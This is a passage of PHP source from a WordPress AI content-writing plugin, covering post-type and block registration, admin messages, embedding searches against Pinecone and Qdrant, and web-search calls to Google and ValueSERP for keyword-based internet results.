'access_aiomatic_menu', 'edit_others_posts' => 'access_aiomatic_menu', 'delete_posts' => 'access_aiomatic_menu', 'publish_posts' => 'access_aiomatic_menu', 'read_private_posts' => 'access_aiomatic_menu' )); $args = array_merge($args, $admin_caps); register_post_type( 'aiomatic_user_data', $args); if ( function_exists( 'register_block_type' ) ) { register_block_type( 'aiomatic-automatic-ai-content-writer/aiomatic-display', array( 'render_callback' => 'aiomatic_display_posts_shortcode', ) ); register_block_type( 'aiomatic-automatic-ai-content-writer/aiomatic-list', array( 'render_callback' => 'aiomatic_list_posts', ) ); register_block_type( 'aiomatic-automatic-ai-content-writer/aiomatic-article', array( 'render_callback' => 'aiomatic_article', ) ); register_block_type( 'aiomatic-automatic-ai-content-writer/aiomatic-image', array( 'render_callback' => 'aiomatic_image', ) ); register_block_type( 'aiomatic-automatic-ai-content-writer/aiomatic-stable-image', array( 'render_callback' => 'aiomatic_stable_image', ) ); register_block_type( 'aiomatic-automatic-ai-content-writer/aiomatic-midjourney-image', array( 'render_callback' => 'aiomatic_midjourney_image', ) ); register_block_type( 'aiomatic-automatic-ai-content-writer/aiomatic-completion', array( 'render_callback' => 'aiomatic_form_shortcode', ) ); register_block_type( 'aiomatic-automatic-ai-content-writer/aiomatic-editing', array( 'render_callback' => 'aiomatic_edit_shortcode', ) ); register_block_type( 'aiomatic-automatic-ai-content-writer/aiomatic-image-generator', array( 'render_callback' => 'aiomatic_image_shortcode', ) ); register_block_type( 'aiomatic-automatic-ai-content-writer/aiomatic-stable-image-generator', array( 'render_callback' => 'aiomatic_stable_image_shortcode', ) ); register_block_type( 'aiomatic-automatic-ai-content-writer/aiomatic-midjourney-image-generator', array( 'render_callback' => 'aiomatic_midjourney_image_shortcode', ) ); register_block_type( 'aiomatic-automatic-ai-content-writer/aiomatic-chat', array( 'render_callback' => 'aiomatic_chat_shortcode', ) ); register_block_type( 'aiomatic-automatic-ai-content-writer/aiomatic-persona-selector', array( 'render_callback' => 'aiomatic_persona_shortcode', ) ); } if(!taxonomy_exists('coderevolution_post_source')) { $labels = array( 'name' => esc_html_x('Post Source', 'taxonomy general name', 'aiomatic-automatic-ai-content-writer'), 'singular_name' => esc_html_x('Post Source', 'taxonomy singular name', 'aiomatic-automatic-ai-content-writer'), 'search_items' => esc_html__('Search Post Source', 'aiomatic-automatic-ai-content-writer'), 'popular_items' => esc_html__('Popular Post Source', 'aiomatic-automatic-ai-content-writer'), 'all_items' => esc_html__('All Post Sources', 'aiomatic-automatic-ai-content-writer'), 'parent_item' => null, 'parent_item_colon' => null, 'edit_item' => esc_html__('Edit Post Source', 'aiomatic-automatic-ai-content-writer'), 'update_item' => esc_html__('Update Post Source', 'aiomatic-automatic-ai-content-writer'), 'add_new_item' => esc_html__('Add New Post Source', 'aiomatic-automatic-ai-content-writer'), 'new_item_name' => esc_html__('New Post Source Name', 'aiomatic-automatic-ai-content-writer'), 'separate_items_with_commas' => esc_html__('Separate Post Source with commas', 'aiomatic-automatic-ai-content-writer'), 'add_or_remove_items' => esc_html__('Add or remove Post Source', 'aiomatic-automatic-ai-content-writer'), 'choose_from_most_used' => esc_html__('Choose from the most used Post Source', 'aiomatic-automatic-ai-content-writer'), 'not_found' => esc_html__('No Post Sources found.', 'aiomatic-automatic-ai-content-writer'), 'menu_name' => esc_html__('Post Source', 'aiomatic-automatic-ai-content-writer') ); $args = array( 'hierarchical' => false, 'public' => false, 'show_ui' => false, 'show_in_menu' => false, 'description' => 'Post Source', 'labels' => $labels, 'show_admin_column' => true, 'update_count_callback' => '_update_post_term_count', 'rewrite' => false ); $add_post_type = array( 'post', 'page' ); $xargs = array( 'public' => true, '_builtin' => false ); $output = 'names'; $operator = 'and'; $post_types = get_post_types( $xargs, $output, $operator ); if ( $post_types ) { foreach ( $post_types as $post_type ) { $add_post_type[] = $post_type; } } register_taxonomy('coderevolution_post_source', $add_post_type, $args); add_action('pre_get_posts', function($qry) { if (is_admin()) return; if (is_tax('coderevolution_post_source')){ $qry->set_404(); } }); } } add_action('add_meta_boxes', 'aiomatic_add_persona_first_message_meta_box'); function aiomatic_add_persona_first_message_meta_box() { add_meta_box( 'persona_first_message_id', 'AI Persona First Message', 'aiomatic_render_persona_first_message_meta_box', 'aiomatic_personas', 'normal', 'high' ); } add_action('add_meta_boxes', 'aiomatic_add_assistant_first_message_meta_box'); function aiomatic_add_assistant_first_message_meta_box() { add_meta_box( 'assistant_first_message_id', 'AI Assistant First Message', 'aiomatic_render_assistant_first_message_meta_box', 'aiomatic_assistants', 'normal', 'high' ); } function aiomatic_render_persona_first_message_meta_box($post) { $custom_text = get_post_meta($post->ID, '_persona_first_message', true); ?> ID, '_assistant_first_message', true); ?> post_type) { if ( $text === 'Excerpt' ) { $translated_text = 'Persona Role'; } if ( $text === 'Add Title' ) { $translated_text = 'Add Persona Name'; } } elseif('aiomatic_assistants' === $post->post_type) { if ( $text === 'Excerpt' ) { $translated_text = 'Assistant Role'; } if ( $text === 'Add Title' ) { $translated_text = 'Add Assistant Name'; } } } return $translated_text; } add_filter( 'gettext', 'aiomatic_change_excerpt', 20, 3 ); add_action( 'current_screen', function() { $embeddings_post_type = 'aiomatic_embeddings'; $forms_post_type = 'aiomatic_forms'; $persona_post_type = 'aiomatic_personas'; $assistant_post_type = 'aiomatic_assistants'; $batch_post_type = 'aiomatic_batches'; $omni_post_type = 'aiomatic_omni_temp'; $theme_post_type = 'aiomatic_themes'; $screen = get_current_screen(); global $pagenow; if ( ! in_array( $pagenow, array( 'post-new.php' ), true ) && 'post' === $screen->base && ($batch_post_type === $screen->post_type || $embeddings_post_type === $screen->post_type || $forms_post_type === $screen->post_type || $persona_post_type === $screen->post_type || $omni_post_type === $screen->post_type || $assistant_post_type === $screen->post_type || $theme_post_type === $screen->post_type) ) { add_action( 'admin_footer', 'aiomatic_hide_batch_update_buttons' ); } }); add_filter('post_updated_messages', 'aiomatic_contact_updated_messages'); function aiomatic_contact_updated_messages( $messages ) { if($GLOBALS['post']->post_type == 'aiomatic_embeddings') { $messages['aiomatic_embeddings'] = array( 0 => '', 1 => __('Embedding updated.'), 2 => __('Custom field updated.'), 3 => __('Custom field deleted.'), 4 => __('Embedding updated.'), 5 => isset($_GET['revision']) ? sprintf( __('Embedding restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false, 6 => __('Embedding published.'), 7 => __('Embedding saved.'), 8 => __('Embedding submitted.'), 9 => __('Embedding scheduled for: %1$s.'), 10 => __('Embedding draft updated.') ); } elseif($GLOBALS['post']->post_type == 'aiomatic_forms') { $messages['aiomatic_forms'] = array( 0 => '', 1 => __('Form updated.'), 2 => __('Custom field updated.'), 3 => __('Custom field deleted.'), 4 => __('Form updated.'), 5 => isset($_GET['revision']) ? sprintf( __('Form restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false, 6 => __('Form published.'), 7 => __('Form saved.'), 8 => __('Form submitted.'), 9 => __('Form scheduled for: %1$s.'), 10 => __('Form draft updated.') ); } elseif($GLOBALS['post']->post_type == 'aiomatic_personas') { $messages['aiomatic_personas'] = array( 0 => '', 1 => __('Persona updated.'), 2 => __('Custom field updated.'), 3 => __('Custom field deleted.'), 4 => __('Persona updated.'), 5 => isset($_GET['revision']) ? sprintf( __('Persona restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false, 6 => __('Persona published.'), 7 => __('Persona saved.'), 8 => __('Persona submitted.'), 9 => __('Persona scheduled for: %1$s.'), 10 => __('Persona draft updated.') ); } elseif($GLOBALS['post']->post_type == 'aiomatic_assistants') { $messages['aiomatic_assistants'] = array( 0 => '', 1 => __('Assistant updated.'), 2 => __('Custom field updated.'), 3 => __('Custom field deleted.'), 4 => __('Assistant updated.'), 5 => isset($_GET['revision']) ? sprintf( __('Assistant restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false, 6 => __('Assistant published.'), 7 => __('Assistant saved.'), 8 => __('Assistant submitted.'), 9 => __('Assistant scheduled for: %1$s.'), 10 => __('Assistant draft updated.') ); } elseif($GLOBALS['post']->post_type == 'aiomatic_batches') { $messages['aiomatic_batches'] = array( 0 => '', 1 => __('AI Batch Request updated.'), 2 => __('Custom field updated.'), 3 => __('Custom field deleted.'), 4 => __('AI Batch Request updated.'), 5 => isset($_GET['revision']) ? sprintf( __('AI Batch Request restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false, 6 => __('AI Batch Request published.'), 7 => __('AI Batch Request saved.'), 8 => __('AI Batch Request submitted.'), 9 => __('AI Batch Request scheduled for: %1$s.'), 10 => __('AI Batch Request draft updated.') ); } elseif($GLOBALS['post']->post_type == 'aiomatic_omni_temp') { $messages['aiomatic_omni_temp'] = array( 0 => '', 1 => __('OmniBlock Template updated.'), 2 => __('Custom field updated.'), 3 => __('Custom field deleted.'), 4 => __('OmniBlock Template updated.'), 5 => isset($_GET['revision']) ? sprintf( __('OmniBlock Template restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false, 6 => __('OmniBlock Template published.'), 7 => __('OmniBlock Template saved.'), 8 => __('OmniBlock Template submitted.'), 9 => __('OmniBlock Template scheduled for: %1$s.'), 10 => __('OmniBlock Template draft updated.') ); } elseif($GLOBALS['post']->post_type == 'aiomatic_themes') { $messages['aiomatic_themes'] = array( 0 => '', 1 => __('Theme updated.'), 2 => __('Custom field updated.'), 3 => __('Custom field deleted.'), 4 => __('Theme updated.'), 5 => isset($_GET['revision']) ? sprintf( __('Theme restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false, 6 => __('Theme published.'), 7 => __('Theme saved.'), 8 => __('Theme submitted.'), 9 => __('Theme scheduled for: %1$s.'), 10 => __('Theme draft updated.') ); } return $messages; } function aiomatic_hide_batch_update_buttons() { ?> cap->create_posts = 'do_not_allow'; $wp_post_types['aiomatic_forms']->cap->create_posts = 'do_not_allow'; $wp_post_types['aiomatic_personas']->cap->create_posts = 'do_not_allow'; $wp_post_types['aiomatic_assistants']->cap->create_posts = 'do_not_allow'; $wp_post_types['aiomatic_batches']->cap->create_posts = 'do_not_allow'; $wp_post_types['aiomatic_omni_temp']->cap->create_posts = 'do_not_allow'; $wp_post_types['aiomatic_themes']->cap->create_posts = 'do_not_allow'; } add_action('init','aiomatic_disable_create_newpost'); function aiomatic_embeddings_result($aiomatic_message, $token, $embedding_namespace = '') { $result = array('status' => 'error','data' => ''); $embeddingspresent = get_posts( [ 'post_type' => 'aiomatic_embeddings', 'posts_per_page' => 1, 'fields' => 'ids' ] ); if (empty($embeddingspresent)) { $result['data'] = 'No embeddings are added in the plugin config!'; return $result; }; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if ((!isset($aiomatic_Main_Settings['embeddings_api']) || trim($aiomatic_Main_Settings['embeddings_api']) == '') || (isset($aiomatic_Main_Settings['embeddings_api']) && trim($aiomatic_Main_Settings['embeddings_api']) == 'pinecone')) { if (!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') { $result['data'] = 'Pinecone API key needed in plugin settings.'; return $result; } if (!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') { $result['data'] = 'Pinecone Index neededs to be added in plugin settings.'; return $result; } if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $result['data'] = 'OpenAI/AiomaticAPI API key needed in plugin settings.'; return $result; } if (isset($aiomatic_Main_Settings['embeddings_model']) && trim($aiomatic_Main_Settings['embeddings_model']) != '') { $embeddings_model = trim($aiomatic_Main_Settings['embeddings_model']); } else { $embeddings_model = 'text-embedding-ada-002'; } if (isset($aiomatic_Main_Settings['pinecone_topk']) && trim($aiomatic_Main_Settings['pinecone_topk']) != '') { $pinecone_topk = intval(trim($aiomatic_Main_Settings['pinecone_topk'])); if($pinecone_topk < 1 || $pinecone_topk > 10000) { $pinecone_topk = 1; } } else { $pinecone_topk = 1; } if(empty($result['data'])) { $session = aiomatic_get_session_id(); $maxResults = 1; $query = new Aiomatic_Query($aiomatic_message, 2048, $embeddings_model, 0, '', 'embeddings', 'embeddings', $token, $session, $maxResults, '', ''); $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } if(aiomatic_is_aiomaticapi_key($token)) { $error = ''; $response = aiomatic_embeddings_aiomaticapi($token, $embeddings_model, $aiomatic_message, 0, $error); if($response === false) { $result['data'] = 'Failed to call Embeddings API: ' . $error; return $result; } if(isset($response->error)) { $result['data'] = 'Error while processing AI response: ' . $response->error; return $result; } if(!isset($response[0]->embedding)) { $result['data'] = 'Failed to call Embeddings API: ' . print_r($response, true); return $result; } $response = apply_filters( 'aiomatic_embeddings_reply_raw', $response, $aiomatic_message ); apply_filters( 'aiomatic_ai_reply', $response, $query ); $embedding = $response[0]->embedding; if (!empty($embedding)) { $headers = array( 'Content-Type' => 'application/json', 'Api-Key' => trim($aiomatic_Main_Settings['pinecone_app_id']) ); $pine_arr = array( 'vector' => $embedding, 'topK' => $pinecone_topk ); if(!empty($embedding_namespace)){ $pine_arr['namespace'] = $embedding_namespace; } else { if (isset($aiomatic_Main_Settings['pinecone_namespace']) && trim($aiomatic_Main_Settings['pinecone_namespace']) != '') { $pine_arr['namespace'] = trim($aiomatic_Main_Settings['pinecone_namespace']); } } $response = wp_remote_post('https://' . preg_replace("(^https?:\/\/)", "", trim($aiomatic_Main_Settings['pinecone_index'] )) . '/query', array( 'headers' => $headers, 'body' => json_encode($pine_arr), 'timeout' => AIOMATIC_DEFAULT_BIG_TIMEOUT )); if (is_wp_error($response)) { $result['data'] = esc_html($response->get_error_message()); } else { $body = json_decode($response['body'], true); if ($body) { if (isset($body['matches']) && is_array($body['matches']) && count($body['matches'])) { $data = ''; $found = false; foreach($body['matches'] as $match){ $aiomatic_embedding = get_post($match['id']); if ($aiomatic_embedding) { $data .= empty($data) ? $aiomatic_embedding->post_content : "\n" . $aiomatic_embedding->post_content; $found = true; } } if($found == true) { $result['data'] = $data; $result['status'] = 'success'; } else { $result['data'] = 'No results found'; } } } } } } elseif(aiomatic_check_if_azure($aiomatic_Main_Settings)) { $error = ''; $response = aiomatic_embeddings_azure($token, $embeddings_model, $aiomatic_message, 0, $error); if($response === false) { $result['data'] = 'Failed to call Embeddings API: ' . $error; return $result; } if(isset($response->error)) { $result['data'] = 'Error while processing AI response: ' . $response->error; return $result; } if(!isset($response[0]->embedding)) { $result['data'] = 'Failed to call Embeddings API: ' . print_r($response, true); return $result; } $response = apply_filters( 'aiomatic_embeddings_reply_raw', $response, $aiomatic_message ); apply_filters( 'aiomatic_ai_reply', $response, $query ); $embedding = $response[0]->embedding; if (!empty($embedding)) { $headers = array( 'Content-Type' => 'application/json', 'Api-Key' => trim($aiomatic_Main_Settings['pinecone_app_id']) ); $pine_arr = array( 'vector' => $embedding, 'topK' => $pinecone_topk ); if(!empty($embedding_namespace)){ $pine_arr['namespace'] = $embedding_namespace; } else { if (isset($aiomatic_Main_Settings['pinecone_namespace']) && trim($aiomatic_Main_Settings['pinecone_namespace']) != '') { $pine_arr['namespace'] = trim($aiomatic_Main_Settings['pinecone_namespace']); } } $response = wp_remote_post('https://' . preg_replace("(^https?:\/\/)", "", trim($aiomatic_Main_Settings['pinecone_index'])) . '/query', array( 'headers' => $headers, 'body' => json_encode($pine_arr), 'timeout' => AIOMATIC_DEFAULT_BIG_TIMEOUT )); if (is_wp_error($response)) { $result['data'] = esc_html($response->get_error_message()); } else { $body = json_decode($response['body'], true); if ($body) { if (isset($body['matches']) && is_array($body['matches']) && count($body['matches'])) { $data = ''; $found = false; foreach($body['matches'] as $match){ $aiomatic_embedding = get_post($match['id']); if ($aiomatic_embedding) { $data .= empty($data) ? $aiomatic_embedding->post_content : "\n" . $aiomatic_embedding->post_content; $found = true; } } if($found == true) { $result['data'] = $data; $result['status'] = 'success'; } else { $result['data'] = 'No results found'; } } } } } } else { require_once (dirname(__FILE__) . "/res/openai/Url.php"); require_once (dirname(__FILE__) . "/res/openai/OpenAi.php"); $open_ai = new OpenAi($token); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $response = $open_ai->embeddings([ 'input' => $aiomatic_message, 'model' => $embeddings_model ]); $response = json_decode($response, true); if (isset($response['error']) && !empty($response['error'])) { $result['data'] = $response['error']['message']; } else { $response = apply_filters( 'aiomatic_embeddings_reply_raw', (object)$response, $aiomatic_message ); $response = (array) $response; apply_filters( 'aiomatic_ai_reply', $response, $query ); $embedding = $response['data'][0]['embedding']; if (!empty($embedding)) { $headers = array( 'Content-Type' => 'application/json', 'Api-Key' => trim($aiomatic_Main_Settings['pinecone_app_id']) ); $pine_arr = array( 'vector' => $embedding, 'topK' => $pinecone_topk ); if(!empty($embedding_namespace)){ $pine_arr['namespace'] = $embedding_namespace; } else { if (isset($aiomatic_Main_Settings['pinecone_namespace']) && trim($aiomatic_Main_Settings['pinecone_namespace']) != '') { $pine_arr['namespace'] = trim($aiomatic_Main_Settings['pinecone_namespace']); } } $response = wp_remote_post('https://' . preg_replace("(^https?:\/\/)", "", trim($aiomatic_Main_Settings['pinecone_index'])) . '/query', array( 'headers' => $headers, 'body' => json_encode($pine_arr), 'timeout' => AIOMATIC_DEFAULT_BIG_TIMEOUT )); if (is_wp_error($response)) { $result['data'] = esc_html($response->get_error_message()); } else { $body = json_decode($response['body'], true); if ($body) { if (isset($body['matches']) && is_array($body['matches']) && count($body['matches'])) { $data = ''; $found = false; foreach($body['matches'] as $match){ $aiomatic_embedding = get_post($match['id']); if ($aiomatic_embedding) { $data .= empty($data) ? $aiomatic_embedding->post_content : "\n" . $aiomatic_embedding->post_content; $found = true; } } if($found == true) { $result['data'] = $data; $result['status'] = 'success'; } else { $result['data'] = 'No results found'; } } } } } } } } } elseif(isset($aiomatic_Main_Settings['embeddings_api']) && trim($aiomatic_Main_Settings['embeddings_api']) == 'qdrant') { if (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '') { $result['data'] = 'Qdrant API key needed in plugin settings.'; return $result; } if (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '') { $result['data'] = 'Qdrant Index neededs to be added in plugin settings.'; return $result; } if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $result['data'] = 'OpenAI/AiomaticAPI API key needed in plugin settings.'; return $result; } if (isset($aiomatic_Main_Settings['embeddings_model']) && trim($aiomatic_Main_Settings['embeddings_model']) != '') { $embeddings_model = trim($aiomatic_Main_Settings['embeddings_model']); } else { $embeddings_model = 'text-embedding-ada-002'; } if (isset($aiomatic_Main_Settings['pinecone_topk']) && trim($aiomatic_Main_Settings['pinecone_topk']) != '') { $pinecone_topk = intval(trim($aiomatic_Main_Settings['pinecone_topk'])); if($pinecone_topk < 1 || $pinecone_topk > 10000) { $pinecone_topk = 1; } } else { $pinecone_topk = 1; } $aiomatic_qdrant_api = trim($aiomatic_Main_Settings['qdrant_app_id']); $aiomatic_qdrant_environment = rtrim(trim($aiomatic_Main_Settings['qdrant_index'], '/')); $aiomatic_qdrant_environment = preg_replace("(^https?:\/\/)", "", $aiomatic_qdrant_environment); $qdrant_url = 'https://' . $aiomatic_qdrant_environment; if(empty($embedding_namespace)) { if (isset($aiomatic_Main_Settings['qdrant_name']) && trim($aiomatic_Main_Settings['qdrant_name']) != '') { $index_name = $aiomatic_Main_Settings['qdrant_name']; } else { $index_name = 'qdrant'; } } else { $index_name = trim($embedding_namespace); } if(empty($result['data'])) { $session = aiomatic_get_session_id(); $maxResults = 1; $query = new Aiomatic_Query($aiomatic_message, 2048, $embeddings_model, 0, '', 'embeddings', 'embeddings', $token, $session, $maxResults, '', ''); $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } if(aiomatic_is_aiomaticapi_key($token)) { $error = ''; $response = aiomatic_embeddings_aiomaticapi($token, $embeddings_model, $aiomatic_message, 0, $error); if($response === false) { $result['data'] = 'Failed to call Embeddings API: ' . $error; return $result; } if(isset($response->error)) { $result['data'] = 'Error while processing AI response: ' . $response->error; return $result; } if(!isset($response[0]->embedding)) { $result['data'] = 'Failed to call Embeddings API: ' . print_r($response, true); return $result; } $response = apply_filters( 'aiomatic_embeddings_reply_raw', $response, $aiomatic_message ); apply_filters( 'aiomatic_ai_reply', $response, $query ); $embedding = $response[0]->embedding; if (!empty($embedding)) { require_once (dirname(__FILE__) . "/res/Qdrant.php"); $found_vectors = aiomatic_qdrant_query_vectors(trim($aiomatic_qdrant_api), $qdrant_url, $index_name, $pinecone_topk, $embedding ); $data = ''; $found = false; foreach($found_vectors as $fv) { $args = array( 'post_type' => 'aiomatic_embeddings', 'meta_query' => array( array( 'key' => 'quadrant_id', 'value' => $fv['id'], 'compare' => '=', ) ) ); $posts = get_posts( $args ); if ( $posts ) { $data .= empty($data) ? $posts[0]->post_content : "\n" . $posts[0]->post_content; $found = true; break; } } if($found == true) { $result['data'] = $data; $result['status'] = 'success'; } else { $result['data'] = 'No results found'; } } else { $result['data'] = 'No embeddings found'; } } elseif(aiomatic_check_if_azure($aiomatic_Main_Settings)) { $error = ''; $response = aiomatic_embeddings_azure($token, $embeddings_model, $aiomatic_message, 0, $error); if($response === false) { $result['data'] = 'Failed to call Embeddings API: ' . $error; return $result; } if(isset($response->error)) { $result['data'] = 'Error while processing AI response: ' . $response->error; return $result; } if(!isset($response[0]->embedding)) { $result['data'] = 'Failed to call Embeddings API: ' . print_r($response, true); return $result; } $response = apply_filters( 'aiomatic_embeddings_reply_raw', $response, $aiomatic_message ); apply_filters( 'aiomatic_ai_reply', $response, $query ); $embedding = $response[0]->embedding; if (!empty($embedding)) { require_once (dirname(__FILE__) . "/res/Qdrant.php"); $found_vectors = aiomatic_qdrant_query_vectors(trim($aiomatic_qdrant_api), $qdrant_url, $index_name, $pinecone_topk, $embedding ); $data = ''; $found = false; foreach($found_vectors as $fv) { $args = array( 'post_type' => 'aiomatic_embeddings', 'meta_query' => array( array( 'key' => 'quadrant_id', 'value' => $fv['id'], 'compare' => '=', ) ) ); $posts = get_posts( $args ); if ( $posts ) { $data .= empty($data) ? $posts[0]->post_content : "\n" . $posts[0]->post_content; $found = true; break; } } if($found == true) { $result['data'] = $data; $result['status'] = 'success'; } else { $result['data'] = 'No results found'; } } } else { require_once (dirname(__FILE__) . "/res/openai/Url.php"); require_once (dirname(__FILE__) . "/res/openai/OpenAi.php"); $open_ai = new OpenAi($token); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $response = $open_ai->embeddings([ 'input' => $aiomatic_message, 'model' => $embeddings_model ]); $response = json_decode($response, true); if (isset($response['error']) && !empty($response['error'])) { $result['data'] = $response['error']['message']; } else { $response = apply_filters( 'aiomatic_embeddings_reply_raw', (object)$response, $aiomatic_message ); $response = (array) $response; apply_filters( 'aiomatic_ai_reply', $response, $query ); $embedding = $response['data'][0]['embedding']; if (!empty($embedding)) { require_once (dirname(__FILE__) . "/res/Qdrant.php"); $found_vectors = aiomatic_qdrant_query_vectors(trim($aiomatic_qdrant_api), $qdrant_url, $index_name, $pinecone_topk, $embedding ); $data = ''; $found = false; foreach($found_vectors as $fv) { $args = array( 'post_type' => 'aiomatic_embeddings', 'meta_query' => array( array( 'key' => 'quadrant_id', 'value' => $fv['id'], 'compare' => '=', ) ) ); $posts = get_posts( $args ); if ( $posts ) { $data .= empty($data) ? $posts[0]->post_content : "\n" . $posts[0]->post_content; $found = true; break; } } if($found == true) { $result['data'] = $data; $result['status'] = 'success'; } else { $result['data'] = 'No results found'; } } } } } } else { $result['data'] = 'Unrecognized embeddings provider selected'; } return $result; } function aiomatic_extract_keywords_internet($aicontent) { $generated_text = ''; $max_tokens = 2000; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { return $generated_text; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $aicontent = trim(strip_shortcodes(strip_tags(str_replace('"', '\'', $aicontent)))); if (isset($aiomatic_Main_Settings['keyword_extractor_prompt']) && trim($aiomatic_Main_Settings['keyword_extractor_prompt']) != '') { $title_ai_command = trim($aiomatic_Main_Settings['keyword_extractor_prompt']); $title_ai_command = str_replace('%%original_prompt%%', $aicontent, $title_ai_command); } else { $title_ai_command = str_replace('%%original_prompt%%', $aicontent, ''); $title_ai_command = 'Using which 2 keywords should I search the internet, so I get results related to the following text? Give me only the 2 search keywords, don\'t write anything else. Don\'t act as a virtual assistant, reply only with the keywords, as they will be used automatically for search. The text is: "' . $aicontent . '"?'; } if(isset($aiomatic_Main_Settings['internet_model']) && $aiomatic_Main_Settings['internet_model'] != '') { $kw_model = $aiomatic_Main_Settings['internet_model']; } else { $kw_model = get_default_model_name($aiomatic_Main_Settings); } if(isset($aiomatic_Main_Settings['internet_assistant_id']) && $aiomatic_Main_Settings['internet_assistant_id'] != '') { $internet_assistant_id = $aiomatic_Main_Settings['internet_assistant_id']; } else { $internet_assistant_id = ''; } $max_tokens = aiomatic_get_max_tokens($kw_model); $query_token_count = count(aiomatic_encode($title_ai_command)); $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($title_ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len); $title_ai_command = trim($title_ai_command); $query_token_count = count(aiomatic_encode($title_ai_command)); $available_tokens = $max_tokens - $query_token_count; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $kw_model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $kw_model . ') for internet access kws: ' . $title_ai_command); } $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, 1, 1, 0, 0, false, 'shortcodeKeywordArticle', 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $internet_assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { aiomatic_log_to_file('Keywords generator error: ' . $aierror); return ''; } else { $generated_text = trim(trim(trim(trim($generated_text), '.'), ' "\'')); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Successfully got API keyword result (for internet access):' . $generated_text); } return $generated_text; } function aiomatic_internet_result($query, $no_search_optimization = false, $locale = '') { $query = trim(preg_replace('/\s\s+/', ' ', $query)); $internet_search = array(); if($no_search_optimization !== true) { $aikws = aiomatic_extract_keywords_internet($query); if(!empty($aikws)) { $query = $aikws; } } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['google_search_api']) && trim($aiomatic_Main_Settings['google_search_api']) != '') { if (isset($aiomatic_Main_Settings['google_search_cx']) && trim($aiomatic_Main_Settings['google_search_cx']) != '') { $max_count = 10; $is_ok = true; $page_number = 0; $result_number = 10; while($is_ok && count($internet_search) < $max_count) { if($page_number == 0) { $first = 0; } else { $first = ($page_number * $result_number) + 1; } if($first > 91) { break; } $internet_params = array( 'q' => urlencode( $query ), 'cx' => trim($aiomatic_Main_Settings['google_search_cx']), 'key' => trim($aiomatic_Main_Settings['google_search_api']), 'num' => $result_number, 'start' => $first ); if(!empty($locale)) { if(strstr($locale, 'country') !== false) { $internet_params['cr'] = $locale; } else { $internet_params['gl'] = $locale; } } $feed_uri = add_query_arg( $internet_params, 'https://www.googleapis.com/customsearch/v1' ); $responsexxx = aiomatic_get_web_page($feed_uri); if ($responsexxx === FALSE) { $is_ok = false; } else { $json_resp = json_decode($responsexxx); if ($json_resp === null) { $is_ok = false; } else { if (isset($json_resp->items)) { foreach($json_resp->items as $jitem) { $internet_search[] = array('title' => $jitem->title, 'link' => $jitem->link, 'snippet' => $jitem->snippet); } $page_number++; } else { $is_ok = false; } } } } } } if(count($internet_search) == 0) { if (isset($aiomatic_Main_Settings['valueserp_auth']) && trim($aiomatic_Main_Settings['valueserp_auth']) != '') { $serpapi = 'https://api.valueserp.com/search?q=' . urlencode($query) . '&api_key=' . trim($aiomatic_Main_Settings['valueserp_auth']); if(!empty($locale)) { if(strstr($locale, 'country') !== false) { 